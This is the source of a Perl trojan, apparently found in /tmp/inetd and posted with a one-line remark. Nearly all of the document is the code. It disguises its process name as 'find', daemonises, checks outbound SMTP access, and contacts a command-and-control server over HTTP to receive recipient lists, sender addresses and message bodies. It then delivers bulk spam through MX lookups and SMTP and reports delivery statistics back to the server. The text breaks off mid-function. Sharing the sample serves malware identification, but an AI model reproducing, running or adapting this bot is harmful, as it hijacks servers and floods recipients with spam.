Found in /tmp/inetd (probably a trojan) :

#!/usr/bin/perl
use strict; use IO::Socket; use IO::Select; $0 = 'find'; $| = 1;
my ($E_WOULDBLOCK, $E_INPROGRESS) = ($^O eq "MSWin32" ? (10035, 10036) : ($^O eq "freebsd" ? (35, 36) : ($^O eq "linux" ? (11, 115) : (11, 150))));
my $test = {os => [$^O], ip => ["0.0.0.0", "checkip.dyndns.org", "checkip.org"], tcp25 => [0, "94.100.176.20", "65.55.92.184", "mailin-01.mx.aol.com", "a.mx.mail.yahoo.com"], udp53 => [0, "dns-01.ns.aol.com", "ns1.yahoo.com"], tcp53 => [0, "dns-01.ns.aol.com", "ns1.yahoo.com"], tcp80 => [0, "aol.com", "yahoo.com"]}; &init();
exit 0;
sub main
{
my $s_host = shift; my $s_port = shift; my $s_path = shift; my $s_nsex = shift;
if ($^O ne "MSWin32")
{
use POSIX qw(setsid);
return unless defined (my $child = fork);
return if $child;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
}
&test(); exit 0 if $test->{tcp25}[0] != 1;
if ($test->{udp53}[0] != 1 && $test->{tcp53}[0] != 1)
{
exit 0 if !defined $s_nsex;
$s_nsex = pack ("C4", split (/\./, $s_nsex));
}
else
{
$s_nsex = undef;
}
srand; my $pid = $$; $pid = 1 + int rand 2147483648 if !defined $pid || $pid !~ /^\d+$/ || $pid > 4294967295;
my $s = {version => 6, command => 0, size => 0, timeout => 60, request => 1, host => (gethostbyname $s_host)[4]}; exit 0 unless $s->{host};
my $b =
{
id          => 0,
ip          => "",
helo        => undef,
timezone    => [["+", "-"]->[int rand 2], (1 + int rand 6)],
nameserver  => [],
timeout     => 10,
session     => 0,
copies      => 1,
method      => 0,
spf         => 0,
level       => 0,
mailbase    => [],
from        => [],
replyto     => [],
subject     => [],
header      => "",
letter      => "",
priority    => 1,
type        => 0,
charset     => "",
good        => [0, ""],
unlucky     => [0, ""],
bad         => [0, ""],
report      => ""
};
my $readers = IO::Select->new() or exit 0;
my $writers = IO::Select->new() or exit 0;
my $session = {};
my $flagset = {timeout => 1};
my $cache = {};
my $reset_time = time;
my $reset_wait = 120;
my $reset_stat = 0;
my $first_exec = 1;
my $request_time = time;
my $request_flag = 1;
my $counter_addr = 0;
#
my $destroy = sub
{
my ($object, $handle) = @_;
#
if ($session->{$handle}{status} =~ /^rs/)
{
$request_flag = 1;
}
elsif (exists $session->{$handle}{object})
{
if ($_ = shift @{$session->{$handle}{object}})
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$_\x0A";
$b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;
}
#
push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
}
}
if (exists $session->{$handle}{mx})
{
$cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;
}
delete $session->{$handle};
$object->remove($handle);
close $handle;
};
#
while (1)
{
#
IO::Select->select(undef, undef, undef, 0.01);
#
my $time = time;
if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
{
$reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
$reset_time = $time + $reset_wait;
}
if ($time >= $reset_time)
{
$reset_time = $time + $reset_wait;
$reset_stat = 0;
$counter_addr = 0;
$b->{$_} = [] for (qw (mailbase from replyto subject));
$b->{$_} = [0, ""] for (qw (good unlucky bad));
$b->{report} = "";
$cache = {};
$session = {};
my $ha = [$writers->handles];
foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }
$ha = [$readers->handles];
foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }
$request_flag = 1;
$request_time = time;
next;
}
#
if ($request_flag && $time >= $request_time)
{
while (1)
{
#
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
#
last unless $socket;
#
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
#
unless ($socket->connect($_ = sockaddr_in($s_port, $s->{host})))
{
if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
{
#
#
close $socket;
#
last;
}
}
#
#
unless ($writers->add($socket))
{
#
#
close $socket;
#
last;
}
#
$session->{$socket} =
{
status  => "rs_cn",
buffer  => "",
flagset => $flagset->{timeout},
timeout => 0
};
$s->{$_} = 0 for (qw (command size));
if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
{
$s->{command} = 1;
$s->{command} = 2 if $first_exec;
$reset_time = $time + $reset_wait;
$reset_stat = 0;
if ($counter_addr)
{
$s->{size} = 16;
$session->{$socket}{buffer} .= pack ("L", $b->{id});
$session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));
if ($b->{level})
{
for (qw (good unlucky bad))
{
$s->{size} += (4 + length $b->{$_}[1]);
$session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);
$session->{$socket}{buffer} .= $b->{$_}[1];
}
if ($b->{level} > 1)
{
$s->{size} += (4 + length $b->{report});
$session->{$socket}{buffer} .= pack ("L", length $b->{report});
$session->{$socket}{buffer} .= $b->{report};
}
}
}
}
$session->{$socket}{buffer} = pack ("SC2L2", 0x0F0F, $s->{version}, $s->{command}, $pid, $s->{size}) . $session->{$socket}{buffer};
$s->{size} = length $session->{$socket}{buffer};
$session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";
#
$request_flag = 0;
#
last;
}
}
#
if (my $mail_array = shift @{$b->{mailbase}})
{
while (scalar @$mail_array)
{
#
my $mail = @{$mail_array}[0];
my ($mx) = &mail(\$mail);
$mx = lc ((split /\@/, $$mx)[1]);
my $type = 15;
if (exists $cache->{$mx})
{
my $sv = $mx;
$mx = $cache->{$sv}[0];
if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
{
$cache->{$sv}[1] = 0 unless $cache->{$sv}[1];
if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))
{
#
push @{$b->{mailbase}}, $mail_array;
#
last;
}
if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)
{
while ($_ = shift @$mail_array)
{
$b->{bad}[0] ++;
if ($b->{level})
{
$b->{bad}[1] .= "$_\x0A";
$b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;
}
}
#
last;
}
$mx = pack ("C4", $1, $2, $3, $4);
#
#
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
#
unless ($socket)
{
#
push @{$b->{mailbase}}, $mail_array;
#
last;
}
#
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
#
unless ($socket->connect($_ = sockaddr_in(25, $mx)))
{
if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
{
#
#
close $socket;
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$mail\x0A";
$b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;
}
#
shift @$mail_array;
#
push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
#
last;
}
}
#
#
unless ($writers->add($socket))
{
#
#
close $socket;
#
push @{$b->{mailbase}}, $mail_array;
#
last;
}
$cache->{$sv}[1] ++;
my $sender = @{$b->{from}}[int rand scalar @{$b->{from}}];
$sender =~ s/\@.+$/\@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");
#
$session->{$socket} =
{
status  => "mx_cn",
mx      => $sv,
buffer  => "",
object  => $mail_array,
mindex  => 0,
sender  => $sender,
flagset => $flagset->{timeout},
timeout => 0
};
#
last;
}
else
{
#
$type = 1;
}
}
else
{
#
$type = 15;
}
#
my $socket;
if ($test->{udp53}[0] == 1)
{
$socket = IO::Socket::INET->new(Proto => "udp");
}
else
{
$socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
}
#
unless ($socket)
{
#
push @{$b->{mailbase}}, $mail_array;
#
last;
}
#
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
if ($test->{udp53}[0] == 0)
{
#
my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;
if (defined $s_nsex) { $nameserver = sockaddr_in(25, $s_nsex); } else { $nameserver = sockaddr_in(53, $nameserver); }
unless ($socket->connect($nameserver))
{
if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
{
#
#
close $socket;
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$mail\x0A";
$b->{report} .= "$mail - [ns_cn] Can't connect\x0A" if $b->{level} > 1;
}
#
shift @$mail_array;
#
push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
#
last;
}
}
}
#
unless ($writers->add($socket))
{
#
#
close $socket;
#
push @{$b->{mailbase}}, $mail_array;
#
last;
}
#
$session->{$socket} =
{
status  => "ns_wr",
buffer  => "",
object  => $mail_array,
sender  => 0,
flagset => $flagset->{timeout},
timeout => 0,
type    => $type,
packet  => int rand 65536,
size    => 0
};
#
$session->{$socket}{buffer} .= pack ("nSn4", $session->{$socket}{packet}, 1, 1, 0, 0, 0);
$session->{$socket}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $mx));
$session->{$socket}{buffer} .= pack ("Cn2", 0, $session->{$socket}{type}, 1);
$session->{$socket}{sender} = length $session->{$socket}{buffer};
if ($test->{udp53}[0] == 0)
{
$session->{$socket}{status} = "ns_cn";
$session->{$socket}{buffer} = join ("", pack ("n", $session->{$socket}{sender}), $session->{$socket}{buffer});
}
#
last;
}
}
elsif ($counter_addr && !scalar keys %$session)
{
$counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
$request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
}
#
my $writable = [$writers->handles];
foreach my $handle (@$writable)
{
#
if ($session->{$handle}{flagset} & $flagset->{timeout})
{
#
#
if ($session->{$handle}{status} =~ /^rs/)
{
#
$session->{$handle}{timeout} = $time + $s->{timeout};
}
else
{
#
$session->{$handle}{timeout} = $time + $b->{timeout};
}
#
$session->{$handle}{flagset} ^= $flagset->{timeout};
}
elsif ($time >= $session->{$handle}{timeout})
{
#
#
$destroy->($writers, $handle);
}
}
#
$writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($session->{$handle}{status} =~ /cn$/)
{
#
if ($handle->connected)
{
#
#
#
#
if ($session->{$handle}{status} eq "rs_cn")
{
$session->{$handle}{status} = "rs_wr";
}
elsif ($session->{$handle}{status} eq "ns_cn")
{
$session->{$handle}{status} = "ns_wr";
}
else
{
$session->{$handle}{status} = "mx_rd";
#
unless ($readers->add($handle))
{
#
#
$destroy->($writers, $handle);
#
next;
}
#
$writers->remove($handle);
}
}
else
{
#
#
$destroy->($writers, $handle);
}
}
else
{
#
my $result;
if ($session->{$handle}{status} eq "ns_wr")
{
if ($test->{udp53}[0] == 0)
{
$result = $handle->send($session->{$handle}{buffer});
}
else
{
my $nameserver = shift @{$b->{nameserver}}; push @{$b->{nameserver}}, $nameserver;
$result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));
}
}
else
{
$result = syswrite ($handle, $session->{$handle}{buffer});
}
if (defined $result && $result > 0)
{
#
#
#
#
#
substr ($session->{$handle}{buffer}, 0, $result) = "";
#
if (length $session->{$handle}{buffer} < 1)
{
#
#
if ($session->{$handle}{status} eq "rs_wr")
{
$session->{$handle}{status} = "rs_rd";
#
if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))
{
$counter_addr = 0;
$b->{$_} = [] for (qw (mailbase from replyto subject));
$b->{$_} = [0, ""] for (qw (good unlucky bad));
$b->{report} = "";
$cache = {};
}
#
$request_time = $time + $s->{request} * 60;
}
elsif ($session->{$handle}{status} eq "ns_wr")
{
$session->{$handle}{status} = "ns_rd";
}
#
unless ($readers->add($handle))
{
#
#
$destroy->($writers, $handle);
#
next;
}
#
$writers->remove($handle);
}
}
elsif ($! == $E_WOULDBLOCK)
{
#
#
next;
}
else
{
#
#
$destroy->($writers, $handle);
}
}
}
#
my $readable = [$readers->handles];
foreach my $handle (@$readable)
{
#
if ($session->{$handle}{flagset} & $flagset->{timeout})
{
#
#
if ($session->{$handle}{status} =~ /^rs/)
{
#
$session->{$handle}{timeout} = $time + $s->{timeout};
}
else
{
#
$session->{$handle}{timeout} = $time + $b->{timeout};
}
#
$session->{$handle}{flagset} ^= $flagset->{timeout};
}
elsif ($time >= $session->{$handle}{timeout})
{
#
#
$destroy->($readers, $handle);
}
}
#
$readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
#
my $result;
if ($session->{$handle}{status} eq "ns_rd")
{
if ($test->{udp53}[0] == 0)
{
my $tempbuffer = "";
if ($session->{$handle}{size} == 0)
{
$handle->recv($tempbuffer, (2 - length $session->{$handle}{buffer}));
$session->{$handle}{buffer} .= $tempbuffer;
if (2 == length $session->{$handle}{buffer})
{
$session->{$handle}{size} = unpack ("n", $session->{$handle}{buffer});
$session->{$handle}{buffer} = "";
}
next;
}
$handle->recv($tempbuffer, ($session->{$handle}{size} - length $session->{$handle}{buffer}));
$session->{$handle}{buffer} .= $tempbuffer;
if ($session->{$handle}{size} == length $session->{$handle}{buffer})
{
$result = $session->{$handle}{size};
}
}
else
{
$result = $handle->recv($session->{$handle}{buffer}, 512);
$result = length $session->{$handle}{buffer} if defined $result;
}
}
else
{
$result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});
}
if (defined $result)
{
#
if ($result > 0)
{
#
#
#
#
if ($session->{$handle}{status} eq "rs_rd")
{
#
next if 4 > length $session->{$handle}{buffer};
if ($session->{$handle}{buffer} !~ /^HTTP/)
{
#
#
$destroy->($readers, $handle);
#
next;
}
else
{
#
my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");
#
next unless $offset >= 0;
#
if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)
{
if ($1 !~ /^200/)
{
#
#
$destroy->($readers, $handle);
#
next;
}
$offset += 4;
#
#
next if 10 > (length $session->{$handle}{buffer}) - $offset;
#
my $server =
{
sign        => 0,
timeout     => 0,
request     => 0,
command     => 0,
size        => 0
};
@_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));
$server->{$_} = shift @_ for (qw (sign timeout request command size));
if ($server->{sign} != 0xAFAF)
{
#
#
$destroy->($readers, $handle);
#
next;
}
#
$first_exec = 0;
exit 0 if $server->{command};
#
$s->{timeout} = $server->{timeout};
$s->{request} = $server->{request};
#
$request_time = $time + $s->{request} * 60;
#
unless ($server->{size})
{
#
#
$destroy->($readers, $handle);
#
next;
}
#
$offset += 10;
#
next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;
#
substr ($session->{$handle}{buffer}, 0, $offset) = "";
@_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));
$b->{$_} = shift @_ for (qw (id ip));
$b->{nameserver} = [];
push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);
@_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));
$b->{$_} = shift @_ for (qw (timeout session copies method spf level));
@{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));
$counter_addr = scalar @{$b->{mailbase}};
my $mailbase_temp = {};
while (my $mail_temp = shift @{$b->{mailbase}})
{
my ($host_temp) = &mail(\$mail_temp);
$host_temp = lc ((split /\@/, $$host_temp)[1]);
$mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};
push @{$mailbase_temp->{$host_temp}}, $mail_temp;
}
foreach my $host_temp (keys %$mailbase_temp)
{
while (scalar @{$mailbase_temp->{$host_temp}})
{
my $mail_temp = [];
for (1..$b->{copies})
{
last unless scalar @{$mailbase_temp->{$host_temp}};
push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};
}
push @{$b->{mailbase}}, $mail_temp;
}
}
undef $mailbase_temp;
#
#
$b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
unless ($b->{header})
{
$b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];
$b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');
}
$b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
$b->{letter} = "" unless $b->{letter};
$b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));
$b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");
$b->{ip} = join (".", unpack ("C4", $b->{ip}));
unless ($b->{helo})
{
if (defined $s_nsex)
{
$b->{helo} = &nsptr($_ = sockaddr_in(25, $s_nsex), 3, $b->{ip});
}
else
{
$b->{helo} = &nsptr($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip});
$b->{helo} = &nsptr($_ = sockaddr_in(53, pack ("C4", split (/\./, "8.8.8.8"))), 3, $b->{ip}) unless $b->{helo};
}
$b->{helo} = "localhost" unless $b->{helo};
}
$b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;
#
#
$destroy->($readers, $handle);
#
next;
}
else
{
#
#
$destroy->($readers, $handle);
#
next;
}
}
}
elsif ($session->{$handle}{status} eq "ns_rd")
{
if (length $session->{$handle}{buffer})
{
my ($resp, $code) = &nsparser(\$session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{packet}, $session->{$handle}{type});
if ($resp == 2)
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{bad}[0] ++;
if ($b->{level})
{
$b->{bad}[1] .= "$_\x0A";
$b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;
}
}
}
elsif ($resp == 1)
{
$resp = shift @{$session->{$handle}{object}};
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$resp\x0A";
$b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;
}
push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
}
else
{
$resp = @{$session->{$handle}{object}}[0];
($resp) = &mail(\$resp);
$resp = lc ((split /\@/, $$resp)[1]);
$cache->{$resp}[0] = $code;
#
push @{$b->{mailbase}}, $session->{$handle}{object};
}
delete $session->{$handle}{object};
#
$destroy->($readers, $handle);
#
next;
}
}
elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)
{
if ($session->{$handle}{buffer} !~ /^(2|3)/)
{
if ($b->{level} > 1)
{
$session->{$handle}{buffer} =~ s/\x0D//g;
$session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;
}
$session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;
if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$_\x0A";
$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
}
#
delete $session->{$handle}{object};
$destroy->($readers, $handle);
#
next;
}
elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)
{
if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)
{
#
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$_\x0A";
$b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
}
#
delete $session->{$handle}{object};
$destroy->($readers, $handle);
#
next;
}
else
{
#
$b->{bad}[0] ++;
if ($b->{level})
{
$b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
unless (scalar @{$session->{$handle}{object}})
{
#
delete $session->{$handle}{object};
$destroy->($readers, $handle);
#
next;
}
}
}
else
{
$b->{unlucky}[0] ++;
if ($b->{level})
{
$b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
$b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
}
splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
#
delete $session->{$handle}{object};
$destroy->($readers, $handle);
#
next;
}
}
if ($session->{$handle}{status} eq "mx_rd")
{
my $helo = $b->{helo};
#
#
#
#
#
$session->{$handle}{buffer} = "HELO $helo\x0D\x0A";
$session->{$handle}{status} = "mx_gr";
}
elsif ($session->{$handle}{status} eq "mx_gr")
{
my ($mail) = &mail(\$session->{$handle}{sender});
$session->{$handle}{buffer} = "MAIL FROM: <$$mail>\x0D\x0A";
$session->{$handle}{status} = "mx_mf";
}
elsif ($session->{$handle}{status} eq "mx_mf")
{
my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);
$session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";
$session->{$handle}{mindex} ++;
$session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";
}
elsif ($session->{$handle}{status} eq "mx_rt")
{
$session->{$handle}{buffer} = "DATA\x0D\x0A";
$session->{$handle}{status} = "mx_dt";
}
elsif ($session->{$handle}{status} eq "mx_dt")
{
$session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);
$session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";
$session->{$handle}{status} = "mx_dr";
}
elsif ($session->{$handle}{status} eq "mx_dr")
{
$b->{good}[0] += scalar @{$session->{$handle}{object}};
if ($b->{level})
{
while ($_ = shift @{$session->{$handle}{object}})
{
$b->{good}[1] .= "$_\x0A";
}
}
delete $session->{$handle}{object};
$session->{$handle}{buffer} = "QUIT\x0D\x0A";
$session->{$handle}{status} = "mx_qt";
}
else
{
$destroy->($readers, $handle);
#
next;
}
unless ($writers->add($handle))
{
#
#
$destroy->($readers, $handle);
#
next;
}
#
$readers->remove($handle);
}
}
else
{
#
#
$destroy->($readers, $handle);
#
next;
}
}
elsif ($! == $E_WOULDBLOCK)
{
#
#
next;
}
else
{
#
#
$destroy->($readers, $handle);
#
next;
}
}
}
}
sub nsunpack
{
my ($packet, $offset) = @_;
my ($length, $size, $name, $next) = (length $$packet, 0, "", "");
while (1)
{
return if $length < ($offset + 1);
$size = unpack ("\@$offset C", $$packet);
if ($size == 0)
{
$offset ++;
last;
}
elsif (($size & 192) == 192)
{
return if $length < ($offset + 2);
$next = unpack ("\@$offset n", $$packet);
$next &= 16383;
($next) = &nsunpack($packet, $next);
return if !defined $next;
$name .= $next;
$offset += 2;
last;
}
else
{
$offset ++;
return if $length < ($offset + $size);
$next = substr ($$packet, $offset, $size);
$name .= "$next.";
$offset += $size;
}
}
$name =~ s/\.$//;
return if !length $name;
return ($name, $offset);
}
sub nsrecord
{
my ($packet, $offset) = @_;
my ($length, $name) = (length $$packet, "");
($name, $offset) = &nsunpack($packet, $offset);
return if !defined $name || $length < ($offset + 10);
my ($rtype, $rclass, $rttl, $rlength) = unpack ("\@$offset n2Nn", $$packet);
$offset += 10;
return if $length < ($offset + $rlength);
return ($name, $offset, $rtype, $rclass, $rttl, $rlength);
}
sub nsparser
{
my ($packet, $offset, $sequence, $type) = @_;
my ($length, $name) = (length $$packet, "");
return (1, "Broken header") if $length < 12;
@_ = unpack ("nC2n4", $$packet);
my $header =
{
id      => $_[0],
qr      => ($_[1] >> 7) & 1,
opcode  => ($_[1] >> 3) & 15,
aa      => ($_[1] >> 2) & 1,
tc      => ($_[1] >> 1) & 1,
rd      => $_[1] & 1,
ra      => ($_[2] >> 7) & 1,
z       => ($_[2] >> 4) & 6,
rcode   => $_[2] & 15,
qdcount => $_[3],
ancount => $_[4],
nscount => $_[5],
arcount => $_[6]
};
return (1, "Synchronization error") if $header->{id} != $sequence;
return (1, "Recursion disabled") if !$header->{ra};
return (2, "Query format error") if $header->{rcode} == 1;
return (2, "Server failure") if $header->{rcode} == 2;
return (2, "Non-existent domain") if $header->{rcode} == 3;
return (2, "Empty answer section") if !$header->{ancount};
#
return (1, "Broken packet") if $length < $offset;
my ($answer, $rtype, $rclass, $rttl, $rlength) = ({}, 0, 0, 0, 0);
while ($header->{ancount})
{
$header->{ancount} --;
($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
last if !defined $name;
if ($type != $rtype)
{
$offset += $rlength;
next;
}
if ($type == 1)
{
$name = substr ($$packet, $offset, 4);
last if !defined $name || 4 > length $name;
$offset += $rlength;
$name = inet_ntoa($name);
$answer->{$name} = 1;
}
elsif ($type == 12)
{
($name, $offset) = &nsunpack($packet, $offset);
last if !defined $name;
$answer->{$name} = 1;
}
elsif ($type == 15)
{
$sequence = substr ($$packet, $offset, 2);
last if !defined $sequence || 2 > length $sequence;
($name, $offset) = &nsunpack($packet, ($offset + 2));
last if !defined $name;
$answer->{$name} = unpack ("n", $sequence);
}
}
return (2, "No resourse records") if !scalar keys %$answer;
my $result = (sort {$answer->{$a} <=> $answer->{$b}} keys %$answer)[0];
if ($type == 15 && $header->{arcount})
{
while ($header->{nscount})
{
$header->{nscount} --;
($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
last if !defined $name;
$offset += $rlength;
}
while ($header->{arcount})
{
$header->{arcount} --;
($name, $offset, $rtype, $rclass, $rttl, $rlength) = &nsrecord($packet, $offset);
last if !defined $name;
if ($rtype == 1 && exists $answer->{$name})
{
$name = substr ($$packet, $offset, 4);
last if !defined $name || 4 > length $name;
$result = inet_ntoa($name);
last;
}
$offset += $rlength;
}
}
return (0, $result);
}
sub nsptr
{
my ($packaddr, $timeout, $query) = @_; my $type = 12;
return if !defined $query || $query !~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/;
return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);
$query = "$4.$3.$2.$1.in-addr.arpa";
my $packid = int rand 65536; my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);
$packet .= pack ("C", length $_) . $_ for (split (/\./, lc $query));
$packet .= pack ("Cn2", 0, $type, 1);
my $offset = length $packet;
my ($socket, $select, $buffer, $resp, $text, $size);
if ($test->{udp53}[0] == 1)
{
$socket = IO::Socket::INET->new(Proto=>"udp");
return unless $socket;
$select = new IO::Select $socket;
if ($select->can_write($timeout))
{
unless ($socket->send($packet, 0, $packaddr))
{
close $socket;
return;
}
}
else
{
close $socket;
return;
}
if ($select->can_read($timeout))
{
$socket->recv($buffer, 512);
}
else
{
close $socket;
return;
}
close $socket;
return if !defined $buffer || !length $buffer;
}
else
{
$socket = IO::Socket::INET->new(Proto=>"tcp", Type=>SOCK_STREAM);
return unless $socket;
$select = new IO::Select $socket;
if ($^O eq "MSWin32") { ioctl ($socket, 0x8004667e, pack ("L", 1)); } else { $socket->blocking(0); }
unless ($socket->connect($packaddr))
{
if ($! != $E_INPROGRESS && $! != $E_WOULDBLOCK)
{
close $socket;
return;
}
unless ($select->can_write($timeout))
{
close $socket;
return;
}
unless ($socket->connected)
{
close $socket;
return;
}
}
$socket->blocking(1);
$packet = pack ("n", length $packet) . $packet;
if ($select->can_write($timeout))
{
unless ($socket->send($packet))
{
close $socket;
return;
}
}
else
{
close $socket;
return;
}
if ($select->can_read($timeout))
{
$buffer = ""; $text = 2;
while ((length $buffer) < $text)
{
$size = $text - length $buffer; $resp = "";
unless ($socket->recv($resp, $size))
{
last if !length $resp;
}
last if !length $resp;
$buffer .= $resp;
}
if (!length $buffer)
{
close $socket;
return;
}
unless ($text = unpack ("n", $buffer))
{
close $socket;
return;
}
unless ($select->can_read($timeout))
{
close $socket;
return;
}
$buffer = "";
while ((length $buffer) < $text)
{
$size = $text - length $buffer; $resp = "";
unless ($socket->recv($resp, $size))
{
last if !length $resp;
}
